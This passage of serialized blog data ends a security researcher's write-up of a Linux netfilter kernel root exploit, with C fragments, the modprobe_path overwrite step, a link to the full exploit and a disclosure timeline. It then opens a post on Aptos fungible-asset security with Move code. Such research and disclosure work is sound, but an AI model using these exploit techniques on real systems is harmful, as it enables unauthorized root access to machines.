i",{"type":26,"tag":475,"props":60303,"children":60304},{"style":714},[60305],{"type":32,"value":50961},{"type":26,"tag":475,"props":60307,"children":60308},{"style":499},[60309],{"type":32,"value":647},{"type":26,"tag":475,"props":60311,"children":60312},{"class":477,"line":1848},[60313],{"type":26,"tag":475,"props":60314,"children":60315},{"style":499},[60316],{"type":32,"value":31359},{"type":26,"tag":475,"props":60318,"children":60319},{"class":477,"line":1857},[60320,60324,60328,60333,60337,60342,60347,60351,60356,60360,60364,60369,60373,60377,60381],{"type":26,"tag":475,"props":60321,"children":60322},{"style":586},[60323],{"type":32,"value":58493},{"type":26,"tag":475,"props":60325,"children":60326},{"style":499},[60327],{"type":32,"value":2775},{"type":26,"tag":475,"props":60329,"children":60330},{"style":493},[60331],{"type":32,"value":60332},"read",{"type":26,"tag":475,"props":60334,"children":60335},{"style":499},[60336],{"type":32,"value":626},{"type":26,"tag":475,"props":60338,"children":60339},{"style":2375},[60340],{"type":32,"value":60341},"sock",{"type":26,"tag":475,"props":60343,"children":60344},{"style":499},[60345],{"type":32,"value":60346},"[i][",{"type":26,"tag":475,"props":60348,"children":60349},{"style":903},[60350],{"type":32,"value":3722},{"type":26,"tag":475,"props":60352,"children":60353},{"style":499},[60354],{"type":32,"value":60355},"], leak, ",{"type":26,"tag":475,"props":60357,"children":60358},{"style":903},[60359],{"type":32,"value":57840},{"type":26,"tag":475,"props":60361,"children":60362},{"style":714},[60363],{"type":32,"value":50947},{"type":26,"tag":475,"props":60365,"children":60366},{"style":903},[60367],{"type":32,"value":60368}," 320",{"type":26,"tag":475,"props":60370,"children":60371},{"style":499},[60372],{"type":32,"value":2794},{"type":26,"tag":475,"props":60374,"children":60375},{"style":714},[60376],{"type":32,"value":5519},{"type":26,"tag":475,"props":60378,"children":60379},{"style":903},[60380],{"type":32,"value":2752},{"type":26,"tag":475,"props":60382,"children":60383},{"style":499},[60384],{"type":32,"value":647},{"type":26,"tag":475,"props":60386,"children":60387},{"class":477,"line":1866},[60388],{"type":26,"tag":475,"props":60389,"children":60390},{"style":499},[60391],{"type":32,"value":31395},{"type":26,"tag":475,"props":60393,"children":60394},{"class":477,"line":1875},[60395,60400,60404,60409],{"type":26,"tag":475,"props":60396,"children":60397},{"style":493},[60398],{"type":32,"value":60399}," perror",{"type":26,"tag":475,"props":60401,"children":60402},{"style":499},[60403],{"type":32,"value":626},{"type":26,"tag":475,"props":60405,"children":60406},{"style":629},[60407],{"type":32,"value":60408},"\"[-] read(socket)\"",{"type":26,"tag":475,"props":60410,"children":60411},{"style":499},[60412],{"type":32,"value":3533},{"type":26,"tag":475,"props":60414,"children":60415},{"class":477,"line":1883},[60416,60421,60425,60429],{"type":26,"tag":475,"props":60417,"children":60418},{"style":586},[60419],{"type":32,"value":60420}," return",{"type":26,"tag":475,"props":60422,"children":60423},{"style":714},[60424],{"type":32,"value":50947},{"type":26,"tag":475,"props":60426,"children":60427},{"style":903},[60428],{"type":32,"value":3722},{"type":26,"tag":475,"props":60430,"children":60431},{"style":499},[60432],{"type":32,"value":2729},{"type":26,"tag":475,"props":60434,"children":60435},{"class":477,"line":1892},[60436],{"type":26,"tag":475,"props":60437,"children":60438},{"style":499},[60439],{"type":32,"value":741},{"type":26,"tag":475,"props":60441,"children":60442},{"class":477,"line":1901},[60443],{"type":26,"tag":475,"props":60444,"children":60445},{"style":499},[60446],{"type":32,"value":750},{"type":26,"tag":475,"props":60448,"children":60449},{"class":477,"line":1910},[60450],{"type":26,"tag":475,"props":60451,"children":60452},{"style":499},[60453],{"type":32,"value":851},{"type":26,"tag":475,"props":60455,"children":60456},{"class":477,"line":1919},[60457,60461,60465,60470],{"type":26,"tag":475,"props":60458,"children":60459},{"style":493},[60460],{"type":32,"value":55198},{"type":26,"tag":475,"props":60462,"children":60463},{"style":499},[60464],{"type":32,"value":626},{"type":26,"tag":475,"props":60466,"children":60467},{"style":629},[60468],{"type":32,"value":60469},"\"[-] fake modprobe failed\"",{"type":26,"tag":475,"props":60471,"children":60472},{"style":499},[60473],{"type":32,"value":3533},{"type":26,"tag":475,"props":60475,"children":60476},{"class":477,"line":1927},[60477],{"type":26,"tag":475,"props":60478,"children":60479},{"style":499},[60480],{"type":32,"value":2219},{"type":26,"tag":35,"props":60482,"children":60483},{},[60484,60486,60493],{"type":32,"value":60485},"This trick has already been throughly detailed by ",{"type":26,"tag":116,"props":60487,"children":60490},{"href":60488,"rel":60489},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[120],[60491],{"type":32,"value":60492},"lau",{"type":32,"value":60494},", so we won't go much more into it.",{"type":26,"tag":41,"props":60496,"children":60498},{"id":60497},"universal-exploit-demo",[60499],{"type":32,"value":60500},"Universal exploit demo",{"type":26,"tag":35,"props":60502,"children":60503},{},[60504,60506,60512],{"type":32,"value":60505},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":26,"tag":116,"props":60507,"children":60510},{"href":60508,"rel":60509},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[120],[60511],{"type":32,"value":57107},{"type":32,"value":353},{"type":26,"tag":27,"props":60514,"children":60516},{"id":60515},"disclosure-timeline",[60517],{"type":32,"value":60518},"Disclosure Timeline",{"type":26,"tag":82,"props":60520,"children":60521},{},[60522,60527,60532,60537,60542],{"type":26,"tag":86,"props":60523,"children":60524},{},[60525],{"type":32,"value":60526},"March 21st -- Patch made public",{"type":26,"tag":86,"props":60528,"children":60529},{},[60530],{"type":32,"value":60531},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":26,"tag":86,"props":60533,"children":60534},{},[60535],{"type":32,"value":60536},"March 24th -- Wrote KernelCTF exploit",{"type":26,"tag":86,"props":60538,"children":60539},{},[60540],{"type":32,"value":60541},"March 26th -- Wrote Universal exploit",{"type":26,"tag":86,"props":60543,"children":60544},{},[60545],{"type":32,"value":60546},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":26,"tag":35,"props":60548,"children":60549},{},[60550],{"type":32,"value":60551},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":26,"tag":27,"props":60553,"children":60554},{"id":2533},[60555],{"type":32,"value":2536},{"type":26,"tag":35,"props":60557,"children":60558},{},[60559],{"type":32,"value":60560},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":26,"tag":35,"props":60562,"children":60563},{},[60564],{"type":32,"value":60565},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":26,"tag":2548,"props":60567,"children":60568},{},[60569],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":60571},[60572,60575,60578,60581,60582,60592,60600,60601],{"id":50260,"depth":516,"text":50263,"children":60573},[60574],{"id":50280,"depth":539,"text":50283},{"id":50323,"depth":516,"text":50323,"children":60576},[60577],{"id":50370,"depth":539,"text":50373},{"id":50428,"depth":516,"text":50431,"children":60579},[60580],{"id":51590,"depth":539,"text":51593},{"id":53465,"depth":516,"text":53468},{"id":53867,"depth":516,"text":53870,"children":60583},[60584,60585,60586,60588,60589,60590,60591],{"id":53894,"depth":539,"text":53897},{"id":54776,"depth":539,"text":54779},{"id":55362,"depth":539,"text":60587},"Leaking self pointer of nft_object",{"id":55760,"depth":539,"text":55763},{"id":56274,"depth":539,"text":56277},{"id":56404,"depth":539,"text":56061},{"id":57088,"depth":539,"text":57091},{"id":57111,"depth":516,"text":57114,"children":60593},[60594,60595,60596,60597,60599],{"id":57122,"depth":539,"text":57125},{"id":57980,"depth":539,"text":57983},{"id":58056,"depth":539,"text":58059},{"id":59680,"depth":539,"text":60598},"Overwriting modprobe_path",{"id":60497,"depth":539,"text":60500},{"id":60515,"depth":516,"text":60518},{"id":2533,"depth":516,"text":2536},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":60606,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":60607,"description":60608,"image":60609,"date":60611,"isFeatured":18,"onBlogPage":18,"tags":60612,"body":60613,"_type":2566,"_id":67331,"_source":2568,"_file":67332,"_stem":67333,"_extension":2571},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":60610,"width":5097,"height":5098},"/posts/aptos-guide/title.png","2025-02-10",[5593],{"type":23,"children":60614,"toc":67315},[60615,60628,60633,60642,60648,60676,60749,60789,60823,60984,61003,61084,61124,61152,61169,61174,61182,61187,61193,61214,61294,61327,61335,61348,61353,61737,61742,61747,61753,61758,61770,61874,61912,61915,61933,62241,62246,62258,62264,62290,62311,62316,62495,62515,62521,62541,62553,62558,62564,62576,62639,62666,62690,62911,62914,62933,63043,63100,63236,63263,63269,63295,63539,63567,63869,63902,63916,63942,63975,64282,64294,64571,64585,64902,64921,64927,64959,64999,65100,65120,65240,65257,65331,65343,65431,65452,65458,65463,65468,65485,65506,65877,65936,65941,66392,66397,66433,66439,66451,66473,66499,66706,66720,66975,66987,67014,67165,67184,67214,67218,67229,67234,67247,67311],{"type":26,"tag":35,"props":60616,"children":60617},{},[60618,60620,60626],{"type":32,"value":60619},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":26,"tag":53,"props":60621,"children":60623},{"className":60622},[],[60624],{"type":32,"value":60625},"coin",{"type":32,"value":60627}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":26,"tag":35,"props":60629,"children":60630},{},[60631],{"type":32,"value":60632},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":26,"tag":60634,"props":60635,"children":60636},"important",{},[60637],{"type":26,"tag":35,"props":60638,"children":60639},{},[60640],{"type":32,"value":60641},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":26,"tag":27,"props":60643,"children":60645},{"id":60644},"aptos-coin-standard",[60646],{"type":32,"value":60647},"Aptos Coin standard",{"type":26,"tag":35,"props":60649,"children":60650},{},[60651,60653,60659,60661,60666,60667,60674],{"type":32,"value":60652},"In the beginning, Aptos used ",{"type":26,"tag":53,"props":60654,"children":60656},{"className":60655},[],[60657],{"type":32,"value":60658},"Coin",{"type":32,"value":60660},". It is still in use, although it is now considered \"legacy\". ",{"type":26,"tag":53,"props":60662,"children":60664},{"className":60663},[],[60665],{"type":32,"value":60658},{"type":32,"value":5213},{"type":26,"tag":116,"props":60668,"children":60671},{"href":60669,"rel":60670},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[120],[60672],{"type":32,"value":60673},"defined",{"type":32,"value":60675}," in Aptos as follows:",{"type":26,"tag":465,"props":60677,"children":60679},{"className":2685,"code":60678,"language":2684,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n value: u64,\n}\n",[60680],{"type":26,"tag":53,"props":60681,"children":60682},{"__ignoreMap":7},[60683,60722,60742],{"type":26,"tag":475,"props":60684,"children":60685},{"class":477,"line":478},[60686,60690,60694,60698,60702,60706,60710,60714,60718],{"type":26,"tag":475,"props":60687,"children":60688},{"style":482},[60689],{"type":32,"value":9111},{"type":26,"tag":475,"props":60691,"children":60692},{"style":505},[60693],{"type":32,"value":5514},{"type":26,"tag":475,"props":60695,"children":60696},{"style":499},[60697],{"type":32,"value":5519},{"type":26,"tag":475,"props":60699,"children":60700},{"style":2375},[60701],{"type":32,"value":5524},{"type":26,"tag":475,"props":60703,"children":60704},{"style":505},[60705],{"type":32,"value":5529},{"type":26,"tag":475,"props":60707,"children":60708},{"style":499},[60709],{"type":32,"value":5534},{"type":26,"tag":475,"props":60711,"children":60712},{"style":2375},[60713],{"type":32,"value":5539},{"type":26,"tag":475,"props":60715,"children":60716},{"style":2375},[60717],{"type":32,"value":5544},{"type":26,"tag":475,"props":60719,"children":60720},{"style":499},[60721],{"type":32,"value":579},{"type":26,"tag":475,"props":60723,"children":60724},{"class":477,"line":516},[60725,60730,60734,60738],{"type":26,"tag":475,"props":60726,"children":60727},{"style":2375},[60728],{"type":32,"value":60729}," value",{"type":26,"tag":475,"props":60731,"children":60732},{"style":714},[60733],{"type":32,"value":179},{"type":26,"tag":475,"props":60735,"children":60736},{"style":505},[60737],{"type":32,"value":5573},{"type":26,"tag":475,"props":60739,"children":60740},{"style":499},[60741],{"type":32,"value":2425},{"type":26,"tag":475,"props":60743,"children":60744},{"class":477,"line":539},[60745],{"type":26,"tag":475,"props":60746,"children":60747},{"style":499},[60748],{"type":32,"value":3607},{"type":26,"tag":35,"props":60750,"children":60751},{},[60752,60754,60759,60761,60767,60768,60774,60776,60781,60783,60788],{"type":32,"value":60753},"Aptos distinguishes coins by their type (",{"type":26,"tag":53,"props":60755,"children":60757},{"className":60756},[],[60758],{"type":32,"value":6297},{"type":32,"value":60760},") at compile time. For example, ",{"type":26,"tag":53,"props":60762,"children":60764},{"className":60763},[],[60765],{"type":32,"value":60766},"Coin\u003COtter>",{"type":32,"value":209},{"type":26,"tag":53,"props":60769,"children":60771},{"className":60770},[],[60772],{"type":32,"value":60773},"Coin\u003CWeasel>",{"type":32,"value":60775}," represent different coins, and you cannot pass a ",{"type":26,"tag":53,"props":60777,"children":60779},{"className":60778},[],[60780],{"type":32,"value":60773},{"type":32,"value":60782}," to a function expecting ",{"type":26,"tag":53,"props":60784,"children":60786},{"className":60785},[],[60787],{"type":32,"value":60766},{"type":32,"value":353},{"type":26,"tag":35,"props":60790,"children":60791},{},[60792,60794,60799,60801,60806,60808,60813,60815,60821],{"type":32,"value":60793},"The type signature reveals why ",{"type":26,"tag":53,"props":60795,"children":60797},{"className":60796},[],[60798],{"type":32,"value":60658},{"type":32,"value":60800}," has become a legacy standard. ",{"type":26,"tag":53,"props":60802,"children":60804},{"className":60803},[],[60805],{"type":32,"value":60658},{"type":32,"value":60807}," has only the ",{"type":26,"tag":53,"props":60809,"children":60811},{"className":60810},[],[60812],{"type":32,"value":5654},{"type":32,"value":60814}," ability and uses a ",{"type":26,"tag":53,"props":60816,"children":60818},{"className":60817},[],[60819],{"type":32,"value":60820},"CoinStore",{"type":32,"value":60822}," wrapper to store the coin and metadata:",{"type":26,"tag":465,"props":60824,"children":60826},{"className":2685,"code":60825,"language":2684,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>,\n frozen: bool,\n deposit_events: EventHandle\u003CDepositEvent>,\n withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[60827],{"type":26,"tag":53,"props":60828,"children":60829},{"__ignoreMap":7},[60830,60870,60898,60918,60948,60977],{"type":26,"tag":475,"props":60831,"children":60832},{"class":477,"line":478},[60833,60837,60842,60846,60850,60854,60858,60862,60866],{"type":26,"tag":475,"props":60834,"children":60835},{"style":482},[60836],{"type":32,"value":9111},{"type":26,"tag":475,"props":60838,"children":60839},{"style":505},[60840],{"type":32,"value":60841}," CoinStore",{"type":26,"tag":475,"props":60843,"children":60844},{"style":499},[60845],{"type":32,"value":5519},{"type":26,"tag":475,"props":60847,"children":60848},{"style":2375},[60849],{"type":32,"value":5524},{"type":26,"tag":475,"props":60851,"children":60852},{"style":505},[60853],{"type":32,"value":5529},{"type":26,"tag":475,"props":60855,"children":60856},{"style":499},[60857],{"type":32,"value":5534},{"type":26,"tag":475,"props":60859,"children":60860},{"style":2375},[60861],{"type":32,"value":5539},{"type":26,"tag":475,"props":60863,"children":60864},{"style":2375},[60865],{"type":32,"value":5645},{"type":26,"tag":475,"props":60867,"children":60868},{"style":499},[60869],{"type":32,"value":579},{"type":26,"tag":475,"props":60871,"children":60872},{"class":477,"line":516},[60873,60878,60882,60886,60890,60894],{"type":26,"tag":475,"props":60874,"children":60875},{"style":2375},[60876],{"type":32,"value":60877}," coin",{"type":26,"tag":475,"props":60879,"children":60880},{"style":714},[60881],{"type":32,"value":179},{"type":26,"tag":475,"props":60883,"children":60884},{"style":505},[60885],{"type":32,"value":5514},{"type":26,"tag":475,"props":60887,"children":60888},{"style":499},[60889],{"type":32,"value":5519},{"type":26,"tag":475,"props":60891,"children":60892},{"style":505},[60893],{"type":32,"value":6297},{"type":26,"tag":475,"props":60895,"children":60896},{"style":499},[60897],{"type":32,"value":5852},{"type":26,"tag":475,"props":60899,"children":60900},{"class":477,"line":539},[60901,60906,60910,60914],{"type":26,"tag":475,"props":60902,"children":60903},{"style":2375},[60904],{"type":32,"value":60905}," frozen",{"type":26,"tag":475,"props":60907,"children":60908},{"style":714},[60909],{"type":32,"value":179},{"type":26,"tag":475,"props":60911,"children":60912},{"style":505},[60913],{"type":32,"value":11759},{"type":26,"tag":475,"props":60915,"children":60916},{"style":499},[60917],{"type":32,"value":2425},{"type":26,"tag":475,"props":60919,"children":60920},{"class":477,"line":548},[60921,60926,60930,60935,60939,60944],{"type":26,"tag":475,"props":60922,"children":60923},{"style":2375},[60924],{"type":32,"value":60925}," deposit_events",{"type":26,"tag":475,"props":60927,"children":60928},{"style":714},[60929],{"type":32,"value":179},{"type":26,"tag":475,"props":60931,"children":60932},{"style":505},[60933],{"type":32,"value":60934}," EventHandle",{"type":26,"tag":475,"props":60936,"children":60937},{"style":499},[60938],{"type":32,"value":5519},{"type":26,"tag":475,"props":60940,"children":60941},{"style":505},[60942],{"type":32,"value":60943},"DepositEvent",{"type":26,"tag":475,"props":60945,"children":60946},{"style":499},[60947],{"type":32,"value":5852},{"type":26,"tag":475,"props":60949,"children":60950},{"class":477,"line":558},[60951,60956,60960,60964,60968,60973],{"type":26,"tag":475,"props":60952,"children":60953},{"style":2375},[60954],{"type":32,"value":60955}," withdraw_events",{"type":26,"tag":475,"props":60957,"children":60958},{"style":714},[60959],{"type":32,"value":179},{"type":26,"tag":475,"props":60961,"children":60962},{"style":505},[60963],{"type":32,"value":60934},{"type":26,"tag":475,"props":60965,"children":60966},{"style":499},[60967],{"type":32,"value":5519},{"type":26,"tag":475,"props":60969,"children":60970},{"style":505},[60971],{"type":32,"value":60972},"WithdrawEvent",{"type":26,"tag":475,"props":60974,"children":60975},{"style":499},[60976],{"type":32,"value":5852},{"type":26,"tag":475,"props":60978,"children":60979},{"class":477,"line":582},[60980],{"type":26,"tag":475,"props":60981,"children":60982},{"style":499},[60983],{"type":32,"value":3607},{"type":26,"tag":35,"props":60985,"children":60986},{},[60987,60989,60994,60996,61001],{"type":32,"value":60988},"However, an astute reader would note that this isn't the only place a ",{"type":26,"tag":53,"props":60990,"children":60992},{"className":60991},[],[60993],{"type":32,"value":60658},{"type":32,"value":60995}," can be stored. You can create your own ",{"type":26,"tag":53,"props":60997,"children":60999},{"className":60998},[],[61000],{"type":32,"value":60658},{"type":32,"value":61002}," wallet, which could look like this:",{"type":26,"tag":465,"props":61004,"children":61006},{"className":2685,"code":61005,"language":2684,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n coin: Coin\u003CCoinType>\n}\n",[61007],{"type":26,"tag":53,"props":61008,"children":61009},{"__ignoreMap":7},[61010,61050,61077],{"type":26,"tag":475,"props":61011,"children":61012},{"class":477,"line":478},[61013,61017,61022,61026,61030,61034,61038,61042,61046],{"type":26,"tag":475,"props":61014,"children":61015},{"style":482},[61016],{"type":32,"value":9111},{"type":26,"tag":475,"props":61018,"children":61019},{"style":505},[61020],{"type":32,"value":61021}," DefinitelyLegitCoinStore",{"type":26,"tag":475,"props":61023,"children":61024},{"style":499},[61025],{"type":32,"value":5519},{"type":26,"tag":475,"props":61027,"children":61028},{"style":2375},[61029],{"type":32,"value":5524},{"type":26,"tag":475,"props":61031,"children":61032},{"style":505},[61033],{"type":32,"value":5529},{"type":26,"tag":475,"props":61035,"children":61036},{"style":499},[61037],{"type":32,"value":5534},{"type":26,"tag":475,"props":61039,"children":61040},{"style":2375},[61041],{"type":32,"value":5539},{"type":26,"tag":475,"props":61043,"children":61044},{"style":2375},[61045],{"type":32,"value":5645},{"type":26,"tag":475,"props":61047,"children":61048},{"style":499},[61049],{"type":32,"value":579},{"type":26,"tag":475,"props":61051,"children":61052},{"class":477,"line":516},[61053,61057,61061,61065,61069,61073],{"type":26,"tag":475,"props":61054,"children":61055},{"style":2375},[61056],{"type":32,"value":60877},{"type":26,"tag":475,"props":61058,"children":61059},{"style":714},[61060],{"type":32,"value":179},{"type":26,"tag":475,"props":61062,"children":61063},{"style":505},[61064],{"type":32,"value":5514},{"type":26,"tag":475,"props":61066,"children":61067},{"style":499},[61068],{"type":32,"value":5519},{"type":26,"tag":475,"props":61070,"children":61071},{"style":505},[61072],{"type":32,"value":6297},{"type":26,"tag":475,"props":61074,"children":61075},{"style":499},[61076],{"type":32,"value":5706},{"type":26,"tag":475,"props":61078,"children":61079},{"class":477,"line":539},[61080],{"type":26,"tag":475,"props":61081,"children":61082},{"style":499},[61083],{"type":32,"value":3607},{"type":26,"tag":35,"props":61085,"children":61086},{},[61087,61092,61094,61100,61102,61107,61109,61115,61117,61122],{"type":26,"tag":53,"props":61088,"children":61090},{"className":61089},[],[61091],{"type":32,"value":60820},{"type":32,"value":61093}," includes a ",{"type":26,"tag":53,"props":61095,"children":61097},{"className":61096},[],[61098],{"type":32,"value":61099},"frozen",{"type":32,"value":61101}," field, allowing the issuer to block transfers to and from the store. ",{"type":26,"tag":53,"props":61103,"children":61105},{"className":61104},[],[61106],{"type":32,"value":60820},{"type":32,"value":61108}," is also required for a ",{"type":26,"tag":53,"props":61110,"children":61112},{"className":61111},[],[61113],{"type":32,"value":61114},"burn_from",{"type":32,"value":61116}," operation, which withdraws the ",{"type":26,"tag":53,"props":61118,"children":61120},{"className":61119},[],[61121],{"type":32,"value":60625},{"type":32,"value":61123}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":26,"tag":35,"props":61125,"children":61126},{},[61127,61129,61134,61136,61143,61145,61150],{"type":32,"value":61128},"Storing ",{"type":26,"tag":53,"props":61130,"children":61132},{"className":61131},[],[61133],{"type":32,"value":60625},{"type":32,"value":61135}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":26,"tag":116,"props":61137,"children":61140},{"href":61138,"rel":61139},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[120],[61141],{"type":32,"value":61142},"AIP-21",{"type":32,"value":61144}," summarizes the ",{"type":26,"tag":53,"props":61146,"children":61148},{"className":61147},[],[61149],{"type":32,"value":60625},{"type":32,"value":61151}," problems:",{"type":26,"tag":2637,"props":61153,"children":61154},{},[61155,61164],{"type":26,"tag":35,"props":61156,"children":61157},{},[61158,61162],{"type":26,"tag":475,"props":61159,"children":61160},{},[61161],{"type":32,"value":9300},{"type":32,"value":61163}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":26,"tag":35,"props":61165,"children":61166},{},[61167],{"type":32,"value":61168},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":26,"tag":35,"props":61170,"children":61171},{},[61172],{"type":32,"value":61173},"And declares, that:",{"type":26,"tag":2637,"props":61175,"children":61176},{},[61177],{"type":26,"tag":35,"props":61178,"children":61179},{},[61180],{"type":32,"value":61181},"Fungible assets addresses these issues.",{"type":26,"tag":35,"props":61183,"children":61184},{},[61185],{"type":32,"value":61186},"Let's find out whether this is indeed the case.",{"type":26,"tag":27,"props":61188,"children":61190},{"id":61189},"the-fungible-assets",[61191],{"type":32,"value":61192},"The fungible assets",{"type":26,"tag":35,"props":61194,"children":61195},{},[61196,61198,61204,61206,61213],{"type":32,"value":61197},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":26,"tag":53,"props":61199,"children":61201},{"className":61200},[],[61202],{"type":32,"value":61203},"FungibleAsset",{"type":32,"value":61205}," uses the ",{"type":26,"tag":116,"props":61207,"children":61210},{"href":61208,"rel":61209},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[120],[61211],{"type":32,"value":61212},"hot-potato pattern",{"type":32,"value":179},{"type":26,"tag":465,"props":61215,"children":61217},{"className":2685,"code":61216,"language":2684,"meta":7,"style":7},"struct FungibleAsset {\n metadata: Object\u003CMetadata>,\n amount: u64,\n}\n",[61218],{"type":26,"tag":53,"props":61219,"children":61220},{"__ignoreMap":7},[61221,61237,61267,61287],{"type":26,"tag":475,"props":61222,"children":61223},{"class":477,"line":478},[61224,61228,61233],{"type":26,"tag":475,"props":61225,"children":61226},{"style":482},[61227],{"type":32,"value":9111},{"type":26,"tag":475,"props":61229,"children":61230},{"style":505},[61231],{"type":32,"value":61232}," FungibleAsset",{"type":26,"tag":475,"props":61234,"children":61235},{"style":499},[61236],{"type":32,"value":579},{"type":26,"tag":475,"props":61238,"children":61239},{"class":477,"line":516},[61240,61245,61249,61254,61258,61263],{"type":26,"tag":475,"props":61241,"children":61242},{"style":2375},[61243],{"type":32,"value":61244}," metadata",{"type":26,"tag":475,"props":61246,"children":61247},{"style":714},[61248],{"type":32,"value":179},{"type":26,"tag":475,"props":61250,"children":61251},{"style":505},[61252],{"type":32,"value":61253}," Object",{"type":26,"tag":475,"props":61255,"children":61256},{"style":499},[61257],{"type":32,"value":5519},{"type":26,"tag":475,"props":61259,"children":61260},{"style":505},[61261],{"type":32,"value":61262},"Metadata",{"type":26,"tag":475,"props":61264,"children":61265},{"style":499},[61266],{"type":32,"value":5852},{"type":26,"tag":475,"props":61268,"children":61269},{"class":477,"line":539},[61270,61275,61279,61283],{"type":26,"tag":475,"props":61271,"children":61272},{"style":2375},[61273],{"type":32,"value":61274}," amount",{"type":26,"tag":475,"props":61276,"children":61277},{"style":714},[61278],{"type":32,"value":179},{"type":26,"tag":475,"props":61280,"children":61281},{"style":505},[61282],{"type":32,"value":5573},{"type":26,"tag":475,"props":61284,"children":61285},{"style":499},[61286],{"type":32,"value":2425},{"type":26,"tag":475,"props":61288,"children":61289},{"class":477,"line":548},[61290],{"type":26,"tag":475,"props":61291,"children":61292},{"style":499},[61293],{"type":32,"value":3607},{"type":26,"tag":35,"props":61295,"children":61296},{},[61297,61299,61304,61305,61310,61312,61317,61319,61326],{"type":32,"value":61298},"Unlike ",{"type":26,"tag":53,"props":61300,"children":61302},{"className":61301},[],[61303],{"type":32,"value":60658},{"type":32,"value":637},{"type":26,"tag":53,"props":61306,"children":61308},{"className":61307},[],[61309],{"type":32,"value":61203},{"type":32,"value":61311}," types are defined at runtime through the ",{"type":26,"tag":53,"props":61313,"children":61315},{"className":61314},[],[61316],{"type":32,"value":61262},{"type":32,"value":61318}," field. This change was meant to ",{"type":26,"tag":116,"props":61320,"children":61323},{"href":61321,"rel":61322},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[120],[61324],{"type":32,"value":61325},"enhance extensibility",{"type":32,"value":179},{"type":26,"tag":2637,"props":61328,"children":61329},{},[61330],{"type":26,"tag":35,"props":61331,"children":61332},{},[61333],{"type":32,"value":61334},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":26,"tag":35,"props":61336,"children":61337},{},[61338,61340,61346],{"type":32,"value":61339},"An important implication is that functions accepting ",{"type":26,"tag":53,"props":61341,"children":61343},{"className":61342},[],[61344],{"type":32,"value":61345},"FungibleAssets",{"type":32,"value":61347}," must verify the metadata to ensure valid assets.",{"type":26,"tag":35,"props":61349,"children":61350},{},[61351],{"type":32,"value":61352},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":26,"tag":465,"props":61354,"children":61356},{"className":2685,"code":61355,"language":2684,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n sender: &signer, fa: FungibleAsset\n) acquires [...] {\n assert_not_paused();\n \n let fa_amount = fungible_asset::amount(&fa);\n let sender_address = address_of(sender);\n check_compliance(fa_amount, sender_address);\n \n increase_deposit(get_vault(sender_address), fa_amount);\n \n primary_fungible_store::deposit(global_vault_address(), fa);\n \n event::emit(Deposit {sender_address, fa_amount})\n}\n",[61357],{"type":26,"tag":53,"props":61358,"children":61359},{"__ignoreMap":7},[61360,61397,61435,61459,61471,61479,61524,61558,61588,61595,61632,61639,61677,61684,61730],{"type":26,"tag":475,"props":61361,"children":61362},{"class":477,"line":478},[61363,61368,61372,61377,61381,61385,61389,61393],{"type":26,"tag":475,"props":61364,"children":61365},{"style":2375},[61366],{"type":32,"value":61367},"public",{"type":26,"tag":475,"props":61369,"children":61370},{"style":2375},[61371],{"type":32,"value":490},{"type":26,"tag":475,"props":61373,"children":61374},{"style":2375},[61375],{"type":32,"value":61376}," 